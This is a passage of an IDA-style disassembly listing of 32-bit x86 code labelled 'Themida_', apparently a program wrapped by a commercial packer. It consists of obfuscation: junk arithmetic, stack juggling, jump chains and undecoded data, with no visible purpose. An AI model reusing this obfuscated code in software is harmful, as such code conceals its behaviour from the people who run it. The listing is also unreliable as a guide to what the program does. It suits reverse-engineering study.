		dd 0F70158C7h, 4FCAEF81h, 34FF0D4Ch, 0FEE95E24h
		db 63h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_517477:				; CODE XREF: Themida_:00520C65j
		mov	ecx, 0CEDF9CCBh
		jmp	loc_520E24
; ---------------------------------------------------------------------------


loc_517481:				; CODE XREF: Themida_:0051BA43j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	5EAh
		mov	[esp], edi
		mov	edi, 60EC71F1h
		neg	edi
		jmp	loc_51FAD6
; ---------------------------------------------------------------------------
		dd 57240489h, 0A9366B68h, 0F7815F65h, 73F31152h, 0FFDD3AE9h
		dd 1E7368FFh, 815D451Eh, 0CA217DE5h, 30B95144h,	553C356Ah
		dd 2625BF57h, 0FD89773Bh, 920DE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5174D2:				; CODE XREF: Themida_:0051F7F3j
		and	eax, 50387D19h
		jmp	loc_517F92
; ---------------------------------------------------------------------------


loc_5174DC:				; CODE XREF: Themida_:0050FB48j
		pop	esp
		mov	[esp], eax
		jmp	loc_520D28
; ---------------------------------------------------------------------------
aIaYsz7		db '(Y7',0
		align 10h
		dd 592434FFh, 0FF8AF5E9h, 2474FFFFh, 2434FF04h,	0FF8531E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_517505:				; CODE XREF: Themida_:0050B652j
		pop	eax
		mov	edx, edi
		pop	edi
		and	eax, edx
		jmp	loc_513887
; ---------------------------------------------------------------------------


loc_517510:				; CODE XREF: Themida_:0051ADA2j
		mov	[esp], eax
		jmp	loc_514490
; ---------------------------------------------------------------------------


loc_517518:				; CODE XREF: Themida_:00518B15j
		mov	ebx, 3F2F703Eh
		jmp	loc_5109AE
; ---------------------------------------------------------------------------
		dw 0E868h
		dd 0E920BB74h, 33Eh, 8101C583h,	673474CDh, 1C5817Dh, 55000000h
		dd 59E95D57h, 0BFFFFF55h, 6125564Bh, 2BA1C781h,	0EFC11EBAh
		dd 9ECF8102h, 0E9230F14h, 0FFFFD64Ch
; ---------------------------------------------------------------------------


loc_51755C:				; CODE XREF: Themida_:00514DC7j
		pop	edx
		xchg	ecx, [esp]
		jmp	loc_511154
; ---------------------------------------------------------------------------


loc_517565:				; CODE XREF: Themida_:00514433j
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 51241C89h, 0CB88C188h, 0E1895159h, 4C181h, 0BB530000h
		dd 4, 875BD929h, 248B240Ch, 24048924h, 188D888h, 241C8B58h
		dd 0FFC7CDE9h, 8DC581FFh, 81341A0Eh, 66753BEDh,	0E9FD0172h
		dd 6D1h, 5C240487h, 0C7BB5352h,	0C152A93Ch, 0EC8108EBh
		dd 4, 0E9241489h, 0FFFFD3A2h, 295FFD29h, 34FF5DE8h, 0EC835924h
		dd 240C8904h, 0C181E189h, 4, 0E904C183h, 0FFFFEA70h, 11B5805h
		dd 0C5895D31h, 582434FFh, 0C104C483h, 0EDD106EDh, 3ADE9h
		dd 24248B00h, 711EE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_517612:				; CODE XREF: Themida_:0051AB37j
		mov	edi, 7F15080Ch
		jmp	loc_520F39
; ---------------------------------------------------------------------------
		dd 0EC81EFD1h, 4, 0E9242C89h, 0FFFF724Ah
; ---------------------------------------------------------------------------


loc_51762C:				; CODE XREF: Themida_:00520A20j
		or	eax, eax
		jz	loc_51E179
		push	edi
		jmp	loc_50CDD3
; ---------------------------------------------------------------------------


loc_51763A:				; CODE XREF: Themida_:00513B21j
		add	edx, 2EB8773Dh
		jmp	loc_51DE5E
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5E04h, 0D3665C24h, 0E99C242Ch, 0FFFF3F8Dh, 89243C89h
		dd 4EC81E7h, 89000000h,	0D6B9240Ch, 811AF871h, 437B44E1h
		dd 9197E96Bh, 0FABD0000h, 0E9631D09h, 0FFFFFAFAh, 4BDh
		dd 4C1AE900h, 0D9F6FFFFh, 805DC180h, 0D1F601E9h, 0E9C1E180h
		dd 3536h, 271068h, 242C8900h, 7EA3E9h, 0C0E95C00h, 0BAFFFF60h
		dd 4, 2241ED81h, 0D5011543h, 2241C581h,	34FF1543h, 24148B24h
		dd 8304C483h, 2C8904ECh, 0E95D5424h, 0FFFFF136h
; ---------------------------------------------------------------------------


loc_5176D8:				; CODE XREF: Themida_:00512D8Cj
		inc	esi
		neg	esi
		add	esi, 98887AFAh
		jmp	loc_51829E
; ---------------------------------------------------------------------------


loc_5176E6:				; CODE XREF: Themida_:0051F17Ej
		add	esp, 4
		jmp	loc_51B096
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 83h
		dd 9D68FFC5h, 89000056h, 7AE9242Ch, 5AFFFFC5h, 0C107E3C1h
		dd 0EBD104E3h, 68h, 241C2900h, 8E3C15Bh, 0FF8860E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51771D:				; CODE XREF: Themida_:00516800j
		push	edx
		push	ebx
		mov	ebx, 5B63093Bh
		add	ebx, 25F06C7Eh
		sub	ebx, 771B0C1Eh
		xor	ebx, 1F513394h
		mov	edx, ebx
		pop	ebx
		jmp	loc_5134BF
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 240C3304h, 0E9240C31h, 8048h, 0FF2434FFh, 835B2434h
		dd 0EC8304C4h, 2883E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51775E:				; CODE XREF: Themida_:005163A1j
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_51DFA9
; ---------------------------------------------------------------------------
		dd 3C8BFD01h, 9206E924h, 0E689FFFFh, 4C681h, 0EE830000h
		dd 24348704h, 243C895Ch, 42474FFh, 24048F5Fh, 8ABF575Ch
		dd 5071AD07h, 4831FEB8h, 0C1D8F730h, 6807E8h, 29000000h
		dd 0C1582404h, 685204E8h, 4266h, 68240489h, 69397C92h
		dd 76F8E958h, 0C15C0000h, 0CB8105EBh, 2D03278Ah, 2EABE9h
		dd 2434FF00h, 582434FFh, 4FC9E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5177F6:				; CODE XREF: Themida_:0050D98Dj
		not	eax
		xor	eax, 40C33CD3h
		push	ecx
		mov	ecx, 0DC1C85E7h
		xor	eax, ecx
		pop	ecx
		jmp	loc_511999
; ---------------------------------------------------------------------------


loc_51780B:				; CODE XREF: Themida_:0051EA93j
		mov	edi, 5A6C6D6Dh
		xor	edi, 67C93602h
		and	edi, 40A82A62h
		neg	edi
		add	edi, 7C376B69h
		mov	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_50CF98
; ---------------------------------------------------------------------------
		dw 6668h
		dd 89000066h, 0DDBB241Ch, 0E94DEE34h, 0FFFF6635h, 2C7814Fh
		dd 89914D7Ch, 0F3295FFEh, 52CB015Eh, 8D61B4BAh,	5AD30175h
		dd 0E92434FFh, 1F8Dh
; ---------------------------------------------------------------------------


loc_517864:				; CODE XREF: Themida_:00511D13j
		push	esp
		jmp	loc_511C3C
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFF4E74h, 0EBA3EB81h, 0D989BA3Eh, 83241C8Bh, 0B85004C4h
		dd 0A911F725h, 0E958C101h, 7CCh
; ---------------------------------------------------------------------------


loc_51788C:				; CODE XREF: Themida_:0050C1F5j
		mov	[esp], edi
		pop	eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5158F0
; ---------------------------------------------------------------------------


loc_5178AB:				; CODE XREF: Themida_:005131DDj
		push	edx
		mov	dh, 7Bh
		sub	ch, 0E9h
		add	ch, dh
		add	ch, 0E9h
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_51D142
; ---------------------------------------------------------------------------
		db 29h
		dd 240C8BC8h, 0FFBE7FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5178D1:				; CODE XREF: Themida_:0051737Fj
		pop	edx
		jmp	loc_511067
; ---------------------------------------------------------------------------


loc_5178D7:				; CODE XREF: Themida_:00514E82j
		or	edx, 7BC02C01h
		neg	edx
		jmp	loc_513D01
; ---------------------------------------------------------------------------


loc_5178E4:				; CODE XREF: Themida_:0051E50Dj
		xor	eax, ebx
		pop	ebx
		mov	edx, eax
		jmp	loc_50DA00
; ---------------------------------------------------------------------------


loc_5178EE:				; CODE XREF: Themida_:0051159Ej
		add	eax, ebp
		jmp	loc_519EB8
; ---------------------------------------------------------------------------
		db 1, 0DFh, 5Bh
		dd 9305E952h, 0DF89FFFFh, 0FF8202E9h, 468FFh, 815A0000h
		dd 4ECh, 24148900h, 83242C8Bh, 2D5A04C4h, 6D065499h, 0BF57E801h
		dd 6D065499h, 5D5FF801h, 1D1668h, 242C8900h, 2B850h, 0C5890000h
		dd 0FFE80158h, 815D2434h, 4C4h,	24048700h, 6624248Bh, 0E99CC885h
		dd 0FFFF3C8Dh
; ---------------------------------------------------------------------------


loc_517958:				; CODE XREF: Themida_:0050E19Bj
		mov	esi, 415D48E1h
		and	esi, 12CA1095h
		add	esi, 0B73200Bh
		shl	esi, 2
		jmp	loc_520BD6
; ---------------------------------------------------------------------------
		db 1, 0D0h, 0FFh
		dd 148B2434h, 4C48324h,	81E18951h, 4C1h, 4C18100h, 0E9000000h
		dd 0FFFF9891h, 13B9F381h, 0DD3154E6h, 0DBCD815Bh, 0E91C512Ch
		dd 0FFFFD5A6h, 1C8BDD88h, 4C48324h, 88EA8852h, 0DB5CE9D7h
		dd 8952FFFFh, 4C281E2h,	81000000h, 4EAh, 24148700h, 0E924248Bh
		dd 5DACh
; ---------------------------------------------------------------------------


loc_5179D0:				; CODE XREF: Themida_:00513688j
		xor	[esp], edi
		jmp	loc_5150E5
; ---------------------------------------------------------------------------
		dd 0F2DC801h, 8B687909h, 0C481240Ch, 4,	9B168h,	24048900h
		dd 42474FFh, 24048F58h,	4CB2685Ch, 34890000h, 4079BE24h
		dd 8DE914D2h, 81000068h, 0F37CCCC2h, 81DA0112h,	0F37CCCEAh
		dd 51535B12h, 8D6C11B9h, 76A7E93Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_517A26:				; CODE XREF: Themida_:00518239j
		add	edi, 4
		jmp	loc_51D3B9
; ---------------------------------------------------------------------------
		db 0ACh, 53h, 0B7h
		dd 80C7FE64h, 0DFF6C4CFh, 56C780h, 50515BF8h, 0C9E98AB4h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_517A4B:				; CODE XREF: Themida_:0051A12Cj
		add	eax, edi
		add	eax, 4A6B2D1Eh
		pop	edi
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_51ECE6
; ---------------------------------------------------------------------------
		db 53h,	0B7h, 0F0h
		dd 0E972C780h, 64Ah, 0EF8852B5h, 81240C8Bh, 4C4h, 2EFC000h
		dd 0FF5F11E9h, 240C87FFh, 240CFE5Ch, 3B57E99Ch,	0C89FFFFh
		dd 72336824h, 24890000h, 24048324h, 89575904h, 4C781E7h
		dd 83000000h, 3C8704EFh, 0E4E95C24h, 80FFFFE0h,	0BEE9BAEAh
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_517ABB:				; CODE XREF: Themida_:00511C95j
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		add	dword ptr [esp], 7D5D7D5Dh
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 7D5D7D5Dh
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_516342
; ---------------------------------------------------------------------------


loc_517AF2:				; CODE XREF: Themida_:005100E8j
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_50EFF8
; ---------------------------------------------------------------------------
		dw 1DBBh
		dd 31321C62h, 0CB815EF3h, 4CBF68D0h, 4B48BE56h,	30E92CC1h
		dd 33000017h, 0C31240Ch, 240C3324h, 0FFE32AE9h,	7071BDFFh
		dd 0C581598Ah, 73364C8Ah, 6CFCED81h, 0EF298D7Fh, 81242C8Bh
		dd 4C4h, 81CF0100h, 414FFFC7h, 0B9EF813Fh, 68595F5Eh, 418Fh
		dd 55241489h, 437DABDh,	52D5F77Ch, 272A9CBAh, 8BD52103h
		dd 0C4812414h, 4, 4FE3F581h, 0C5810551h, 2075D9CEh, 895F5557h
		dd 2C8B5FFAh, 4C48124h,	81000000h, 9A056AC7h, 2890E903h
		dd 0EB810000h, 59D87060h, 5F2434FFh, 4C481h, 0EC830000h
		dd 24348904h, 4EC81h, 3C890000h, 6045E924h, 0BE56FFFFh
		dd 1AE72EF5h, 0FFA865E9h, 3C6A35FFh, 67E949E1h,	89FFFFB3h
		dd 4832424h, 0C8B0424h,	4C48324h, 4C181h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_50BADA
; ---------------------------------------------------------------------------
		dw 0EABAh
		dd 17F5F44h, 0B7E95AD0h, 0E9000078h, 0FFFF39E5h, 0E95DEE01h
		dd 0FFFFCB23h
; ---------------------------------------------------------------------------


loc_517C08:				; CODE XREF: Themida_:00512134j
		mov	edi, 4
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_50EEAA
; ---------------------------------------------------------------------------
aXaFss		db '(X(fS',0
aT		db 't',0
		db 0
; ---------------------------------------------------------------------------


loc_517C27:				; CODE XREF: Themida_:0051641Fj
		add	esp, 4
		push	ebp
		mov	ebp, 3C30108Ah
		push	ecx
		mov	ecx, 3D3B288Dh
		add	ecx, 0EA87E49Eh
		xor	ebp, ecx
		jmp	loc_518B0D
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 5FCF56C5h, 0FFC14EE9h, 0FBD55FFh, 0F770DD56h, 4EDC1DDh
		dd 646EF581h, 0ED81541Fh, 300F2007h, 0BDEEED81h, 0EB310F43h
		dd 81242C8Bh, 4C4h, 0E3814B00h,	683B2E7Dh, 0FF6E42E9h
		dd 3BC581FFh, 57726675h, 0FF8174E9h, 7C0166FFh,	33E90224h
		dd 56000033h, 0FF7677E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_517CA1:				; CODE XREF: Themida_:0050BC3Cj
		push	dword ptr [esp]
		pop	edx
		jmp	loc_50D3A5
; ---------------------------------------------------------------------------
		dw 0CF88h
		dd 885BFC88h, 7AD4E9E3h, 54BEFFFFh, 81751764h, 0ED55E8E6h
		dd 0F6814E4Dh, 10094FE7h, 0F681D6F7h, 0A611D769h, 815EF209h
		dd 1C2h, 0CDEA8100h, 1BCE7A7h, 24148BD7h, 3304C483h, 3C31243Ch
		dd 1268E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_517CF2:				; CODE XREF: Themida_:00512D19j
		pop	esp
		jmp	loc_512E65
; ---------------------------------------------------------------------------
		dd 7FFFF381h, 0DA896C88h, 3CBE565Bh, 81753676h,	0A62649F6h
		dd 0C2F68178h, 0E9573542h, 15EBh
; ---------------------------------------------------------------------------


loc_517D18:				; CODE XREF: Themida_:0050D11Aj
		push	572D4EFBh
		pop	edi
		jmp	loc_520E90
; ---------------------------------------------------------------------------


loc_517D23:				; CODE XREF: Themida_:00511930j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_51639E
; ---------------------------------------------------------------------------
		dd 0F4E95059h, 1FFFF61h, 0B6C381F3h, 0E938F75Ah, 0FFFF4A4Ah
; ---------------------------------------------------------------------------


loc_517D40:				; CODE XREF: Themida_:005118C0j
		add	esp, 4
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------


loc_517D4B:				; CODE XREF: Themida_:005190AEj
		push	22BF0FAEh
		jmp	loc_51A437
; ---------------------------------------------------------------------------


loc_517D55:				; CODE XREF: Themida_:005136FFj
		mov	[esp], ecx
		mov	ch, 9Bh
		sub	ch, 0CAh
		sub	al, ch
		pop	ecx
		add	al, dl
		push	cx
		mov	ch, 0D1h
		add	al, ch
		pop	cx
		sub	al, 0Eh
		pop	edx
		push	154Dh
		mov	[esp], ecx
		jmp	loc_512986
; ---------------------------------------------------------------------------
		dw 15BAh
		dd 8154437Dh, 4B191CE2h, 4ADAF766h, 0EA81DAF7h,	44431911h
		dd 0B3E9D701h, 0B9FFFF8Fh, 4979FA5Fh, 5E45C781h, 62E93C80h
		dd 87FFFFD4h, 565C241Ch, 0C6815E54h, 4,	4B850h,	0EE810000h
		dd 1CC01DBh, 0BD55C601h, 5DD10F80h, 56EAB951h, 0C1E942C2h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_517DD3:				; CODE XREF: Themida_:0050E9E7j
		mov	ebp, 62AD437Fh
		inc	ebp
		add	ebp, 0A11DE75h
		or	esi, ebp
		pop	ebp
		and	esi, 6BC97EB2h
		sub	esi, 5BFFD866h
		add	eax, 3DEE5678h
		sub	eax, esi
		sub	eax, 3DEE5678h
		pop	esi
		jmp	loc_51A5E1
; ---------------------------------------------------------------------------


loc_517E00:				; CODE XREF: Themida_:0051F098j
		pop	edi
		xor	ecx, [esp]
		jmp	loc_512D13
; ---------------------------------------------------------------------------


loc_517E09:				; CODE XREF: Themida_:00519ED9j
		sub	ebx, 0FFFFFFFFh
		add	ebx, 0B53FC479h
		jmp	loc_5146B7
; ---------------------------------------------------------------------------


loc_517E17:				; CODE XREF: Themida_:00517121j
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		push	ebx
		jmp	loc_51E8C8
; ---------------------------------------------------------------------------
aIusY		db 'Y',0
		dd 0C0BF5700h, 810066C9h, 0D35DADEEh, 81FE2959h, 0D35DADC6h
		dd 28E95F59h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_517E43:				; CODE XREF: Themida_:0050D4C5j
		mov	[esp], esi
		push	ebx
		push	esi
		mov	esi, 408537F8h
		push	ebx
		jmp	loc_50F5CF
; ---------------------------------------------------------------------------
		db 89h
		dd 0BB53240Ch, 2E9A3B6Fh, 9A3B6DB9h, 8BD9312Eh,	0C481241Ch
		dd 4, 5239C781h, 0EF8169EAh, 3F0901A3h,	14E9CF01h
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_517E7F:				; CODE XREF: Themida_:00515852j
		pop	edx
		add	esp, 4
		sub	eax, 0F666335h
		sub	eax, 10407FA7h
		add	eax, 4D906675h
		push	ebp
		mov	ebp, 68B8218Ah
		jmp	loc_50ECB4
; ---------------------------------------------------------------------------
		dd 83AF180h, 0F38059CBh, 0E9506647h, 0FFFFDFAEh, 4C681h
		dd 0EE810000h, 4, 0FFC28DE9h, 48B66FFh,	0E5E95224h, 8BFFFFB0h
		dd 0C4812414h, 4, 0E95BD801h, 0FFFF434Ah, 0E904C583h, 8679h
		dd 3CDE68h, 241C8900h, 0FD88C788h, 48B665Bh, 2C48124h
		dd 68000000h, 73Fh, 0B2241489h,	34E953C2h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_517F0B:				; CODE XREF: Themida_:00515D50j
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		and	ecx, edi
		mov	edi, [esp]
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_518E0F
; ---------------------------------------------------------------------------
		dw 0C729h
		dd 24048B58h, 4C481h, 0B8500000h, 0BEA190Fh, 7926D225h
		dd 26970564h, 0C7319379h, 0FF5DB0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_517F55:				; CODE XREF: Themida_:0051A65Ej
		add	ecx, 24DC2B0Eh
		add	ecx, edi
		sub	ecx, 24DC2B0Eh
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 0D43078Ah
		jmp	loc_50CDF4
; ---------------------------------------------------------------------------
		dd 6C99EF81h, 0C8B7629h, 4DB06824h, 2C890000h, 81E58924h
		dd 4C5h, 745CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_517F92:				; CODE XREF: Themida_:005174D7j
		not	eax
		xor	eax, 737A0739h
		add	eax, 0A872A619h
		mov	esi, eax
		pop	eax
		shr	esi, 6
		jmp	loc_50F02D
; ---------------------------------------------------------------------------
		db 68h,	0B4h, 4Ah
		dd 0E95A3B93h, 0FFFF8952h, 5351F381h, 0D82979B0h, 7AEF815Bh
		dd 103EA1Eh, 7AC781C7h,	5803EA1Eh, 4C781h, 3C870000h, 0EC835C24h
		dd 241C8904h, 2BE9E389h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_517FE3:				; CODE XREF: Themida_:0051199Cj
		pop	edx
		xor	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, ecx
		pop	ecx
		push	449h
		mov	[esp], edi
		mov	edi, 5DF84F98h
		xor	edi, 57F46906h
		push	ecx
		mov	ecx, 0A0C269Ah
		jmp	loc_511884
; ---------------------------------------------------------------------------
		dd 82E9DDF7h, 68000004h, 3B75h,	0FF241C89h, 0B9E92434h
		dd 56000022h, 3562E3BEh, 8BF73140h, 37E92434h, 8BFFFF72h
		dd 0C481241Ch, 4, 8B243487h, 0C892424h,	0E9595424h, 0FFFFCC6Eh
; ---------------------------------------------------------------------------


loc_518050:				; CODE XREF: Themida_:00510C41j
		not	dword ptr [esp]
		jmp	loc_50FAAC
; ---------------------------------------------------------------------------
		dd 0C159CF29h, 0BE5604EFh, 76D95DE1h, 0F37BD55h, 81456FB3h
		dd 644B67E5h, 0EFF5814Fh, 29071656h, 0F7315DEEh, 1E42E9h
		dd 80CCFE00h, 0F4801FECh, 8BE328D9h, 0A2E92404h, 5A000054h
		dd 81242C8Bh, 4C4h, 98ECE900h, 0E909FFFFh, 0FF7F6CE9h
		dd 39BA52FFh, 3183C166h, 8369E9D5h, 0FD880000h,	17ED805Bh
		dd 3DE9E828h, 0E900000Ah, 0FFFF351Dh
; ---------------------------------------------------------------------------


loc_5180C8:				; CODE XREF: Themida_:0051B413j
		mov	[esp], ebp
		push	3DC4h
		mov	[esp], esi
		push	77644645h
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 50C35122h
		push	edi
		dec	dword ptr [esp]
		pop	edi
		xor	edi, 53752717h
		add	esi, 0CA9339Dh
		add	esi, edi
		jmp	loc_51E7CA
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFEEF1h, 0EC835966h, 240C8904h, 0C58060B5h
		dd 59E80005h, 66CDB753h, 20B4B551h, 0C05966EFh,	0F78002EFh
		dd 8F87E939h, 48B0000h,	4C48124h, 0E9000000h, 0FFFFEFA8h
		dd 4EC81h, 4890000h, 8968E924h,	0E95CFFFFh, 0FFFF4CD2h
		dd 360465BDh, 0E5C1454Dh, 301DE902h, 0B0500000h, 8BC630A6h
		dd 54572404h, 8432E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51816A:				; CODE XREF: Themida_:0051E7D0j
		pop	edi
		jmp	loc_513C00
; ---------------------------------------------------------------------------


loc_518170:				; CODE XREF: Themida_:0051EC95j
		add	ebx, 74DC33D6h
		pop	ebp
		add	esi, ebx
		pop	ebx
		add	esi, 4
		jmp	loc_518190
; ---------------------------------------------------------------------------
		dw 489h
		dd 6F67E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51818A:				; CODE XREF: Themida_:00511E3Cj
		pop	edx
		jmp	loc_51143B
; ---------------------------------------------------------------------------


loc_518190:				; CODE XREF: Themida_:0051817Dj
		xchg	esi, [esp]
		mov	esp, [esp]
		shr	eax, 0Ch
		jmp	loc_5141BC
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0E511E924h, 5954FFFFh, 4C181h, 0B8500000h, 4, 4E7DC181h
		dd 0C1010729h, 4E7DE981h, 48B0729h, 87FEE924h, 835E0000h
		dd 3C8904ECh, 0CADEE924h, 31ADFFFFh, 43D168D8h,	3C890000h
		dd 32D7BF24h, 0BD551748h, 66C81338h, 171DE9h, 4C48300h
		dd 49E95255h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5181FB:				; CODE XREF: Themida_:0050C6D6j
		shl	esi, 5
		shl	esi, 4
		push	edx
		mov	edx, 19EE5000h
		jmp	loc_51E7EF
; ---------------------------------------------------------------------------


loc_51820C:				; CODE XREF: Themida_:0051591Cj
		add	eax, ecx
		pop	ecx
		jmp	loc_51A150
; ---------------------------------------------------------------------------
		dd 0C262ED81h, 0EE89BF84h, 0E9DEF75Dh, 0FFFF714Eh
; ---------------------------------------------------------------------------


loc_518224:				; CODE XREF: Themida_:0050B8E4j
		push	eax
		mov	eax, 6BFE6A3Eh
		sub	eax, 0FB2D0A3Ah
		jmp	loc_50F790
; ---------------------------------------------------------------------------


loc_518234:				; CODE XREF: Themida_:0051B312j
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_517A26
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48124h, 0E9000000h, 0FFFFC069h, 1002E95Fh,	48F0000h
		dd 24248B24h, 4B30F66h,	82E99C24h, 88FFFF33h, 48B66E3h
		dd 2C48124h, 0F6000000h, 78E7E9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_518276:				; CODE XREF: Themida_:0051E09Cj
		or	eax, 35C60C00h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 3FBF4BF8h
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		xor	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	eax, edi
		pop	edi
		jmp	loc_51580E
; ---------------------------------------------------------------------------


loc_51829E:				; CODE XREF: Themida_:005176E1j
		push	ecx
		mov	ecx, esi
		mov	ebp, ecx
		jmp	loc_51643E
; ---------------------------------------------------------------------------


loc_5182A8:				; CODE XREF: Themida_:00510F30j
		push	6AE471D2h
		push	dword ptr [esp]
		pop	eax
		jmp	loc_518A33
; ---------------------------------------------------------------------------
		dw 3487h
		dd 0E9D6F724h, 0FFFFCDCFh, 68A6392Dh, 58C3291Dh, 0FFFD4AE9h
		dd 805966FFh, 0FD88B5F7h, 2FE2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5182D9:				; CODE XREF: Themida_:00520221j
		sub	dl, 18h
		not	dl
		sub	dl, 7
		push	ecx
		jmp	loc_50C1BF
; ---------------------------------------------------------------------------


loc_5182E7:				; CODE XREF: Themida_:0050C785j
		pop	edx
		xor	edx, esi
		jmp	loc_519644
; ---------------------------------------------------------------------------


loc_5182EF:				; CODE XREF: Themida_:0051AC6Bj
		add	ebx, 1A8008h
		add	ecx, ebx
		pop	ebx
		jmp	loc_50EF07
; ---------------------------------------------------------------------------


loc_5182FD:				; CODE XREF: Themida_:0051BD19j
		xor	eax, 1A35FBCFh
		mov	edx, eax
		pop	eax
		neg	edx
		sub	esp, 4
		jmp	loc_5186DC
; ---------------------------------------------------------------------------


loc_518312:				; CODE XREF: Themida_:0050E7A9j
		sub	eax, 50CC3A57h
		sub	eax, 0A0E2806h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	29h
		mov	[esp], esi
		push	ebx
		push	756C4F24h
		mov	ebx, [esp]
		jmp	loc_51A97A
; ---------------------------------------------------------------------------
		db 28h,	0E1h, 0E9h
		dd 0FFFF3659h, 34FFC800h, 89F7E924h, 0C681FFFFh, 4, 0E9243487h
		dd 0FFFF3CD1h, 2C481h, 89530000h, 4C381E3h, 83000000h
		dd 1C8704EBh, 4895C24h,	67BD5524h, 0C15EAC55h, 0ED8102E5h
		dd 2FC33F9Ch, 663FE9h, 0C8B6600h, 1CEF6824h, 0FBE90000h
		dd 59FFFFF6h, 0C8BCB01h, 4C48124h, 87000000h, 52E9241Ch
		dd 68000012h, 69Ah, 0B9240C89h,	4, 5059CF01h, 4D1FB951h
		dd 1BB861EFh, 3161EF4Dh, 0C70159C8h, 8124048Bh,	4C4h, 0F0E95700h
		dd 28FFFF3Eh, 8B802CC8h, 57E9240Ch, 81FFFFA6h, 4211C7CEh
		dd 35C68143h, 0E910980Ch, 0FFFF4B5Fh, 177C42BDh, 48EE81F0h
		dd 1347A4Dh, 3446E9EEh,	59BD0000h, 4565331Eh, 0FFFC98E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_518411:				; CODE XREF: Themida_:0050D078j
		xchg	eax, [edi+24h]
		inc	eax
		sub	esp, 4
		jmp	loc_514A05
; ---------------------------------------------------------------------------


loc_518420:				; CODE XREF: Themida_:0051345Dj
		push	ebp
		mov	ebp, 69D61A1Dh
		shr	ebp, 6
		add	ebp, 0FE58A79Ch
		jmp	loc_511A86
; ---------------------------------------------------------------------------
aGmhk1		db '^GmhK1',0
		align 2
		dw 2C89h
		dd 0EC835324h, 24048904h, 5E2FE9h, 0C4835E00h, 4EC8104h
		dd 89000000h, 0A3E9242Ch, 0FF000024h, 0D3E92434h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_518467:				; CODE XREF: Themida_:0051335Fj
		add	ecx, edi
		jmp	loc_51D3AC
; ---------------------------------------------------------------------------


loc_51846E:				; CODE XREF: Themida_:00515437j
		xchg	edi, [esp]
		pop	esp
		or	dl, 0EFh
		not	dl
		sub	dl, 0FFh
		jmp	loc_513F06
; ---------------------------------------------------------------------------
aXsa		db 'X!',0
		dd 0EC815F00h, 4, 0BF243C89h, 26DE0C28h, 0FFD738E9h, 3ABE56FFh
